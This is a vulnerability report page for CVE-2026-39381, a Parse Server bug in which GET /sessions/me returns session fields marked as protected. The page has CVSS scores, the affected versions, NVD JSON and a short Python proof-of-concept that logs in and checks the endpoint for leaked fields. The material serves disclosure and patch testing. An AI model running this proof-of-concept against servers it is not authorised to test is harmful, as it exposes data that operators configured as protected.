Security Vulnerability Report
中文
CVE-2026-39381 CVSS 4.3 MEDIUM

CVE-2026-39381

Published: 2026-04-07 20:16:33
Last Modified: 2026-04-15 15:57:20

Description

Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.8.0-alpha.7 and 8.6.75, the GET /sessions/me endpoint returns _Session fields that the server operator explicitly configured as protected via the protectedFields server option. Any authenticated user can retrieve their own session's protected fields with a single request. The equivalent GET /sessions and GET /sessions/:objectId endpoints correctly strip protected fields. This vulnerability is fixed in 9.8.0-alpha.7 and 8.6.75.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.8.0:alpha1:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.8.0:alpha2:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.8.0:alpha3:*:*:*:node.js:*:* - VULNERABLE
Parse Server < 9.8.0-alpha.7
Parse Server < 8.6.75

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL configuration target_url = "http://localhost:1337/parse" # Step 1: Authenticate to obtain a valid session token login_payload = { "username": "victim", "password": "password123" } try: login_resp = requests.post(f"{target_url}/login", json=login_payload) if login_resp.status_code != 200: print("[-] Login failed. Check credentials.") exit(1) session_token = login_resp.json().get("sessionToken") print(f"[+] Logged in. Session Token: {session_token}") # Step 2: Exploit the vulnerability via /sessions/me # The vulnerable endpoint ignores 'protectedFields' headers = { "X-Parse-Application-Id": "YOUR_APP_ID", "X-Parse-Session-Token": session_token } exploit_resp = requests.get(f"{target_url}/sessions/me", headers=headers) # Step 3: Check for leaked protected fields if exploit_resp.status_code == 200: data = exploit_resp.json() print("[+] Successfully retrieved session data:") print(data) # Check if sensitive fields (e.g. 'protectedField') are present if 'protectedField' in data or 'sensitiveData' in data: print("[!] VULNERABILITY CONFIRMED: Protected fields are leaked!") else: print("[!] Protected fields might not be configured or already patched.") else: print(f"[-] Request failed with status code: {exploit_resp.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39381", "sourceIdentifier": "[email protected]", "published": "2026-04-07T20:16:32.790", "lastModified": "2026-04-15T15:57:20.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.8.0-alpha.7 and 8.6.75, the GET /sessions/me endpoint returns _Session fields that the server operator explicitly configured as protected via the protectedFields server option. Any authenticated user can retrieve their own session's protected fields with a single request. The equivalent GET /sessions and GET /sessions/:objectId endpoints correctly strip protected fields. This vulnerability is fixed in 9.8.0-alpha.7 and 8.6.75."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "8.6.75", "matchCriteriaId": "CBC593AE-96EC-4CD6-94A0-225E62133716"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.8.0", "matchCriteriaId": "505A2B01-2F11-48C8-BA71-66D6FEB856B1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.8.0:alpha1:*:*:*:node.js:*:*", "matchCriteriaId": "510B10D0-84FF-464C-A94F-2A81B4C82DA6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.8.0:alpha2:*:*:*:node.js:*:*", "matchCriteriaId": "65C4D465-733A-464D-8BDC-BA29669CF48B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.8.0:alpha3:*:*:*:node.js:*:*", "matchCriteriaId": "D125D774-F201-4028-8929-E5613205E151"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.8.0:alpha4:*:*:*:node.js:*:*", "matchCriteriaId": "E71F69E4-172B-4E46-B96D-FE4268E0E3B3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.8.0:alpha5:*:*:*:node.js:*:*", "matchCriteriaId": "820B096D-053D-47A3-9E8B-65DF698221C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.8.0:alpha6:*:*:*:node.js:*:*", "matchCriteriaId": "A11A8DF2-F486-4E9E-A4FA-7D7417C7197A"}]}]}], "references": [{"url": "https://github.com/parse-community/parse-server/pull/10406", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/parse-community/parse-server/pull/10407", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-g4v2-qx3q-4p64", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}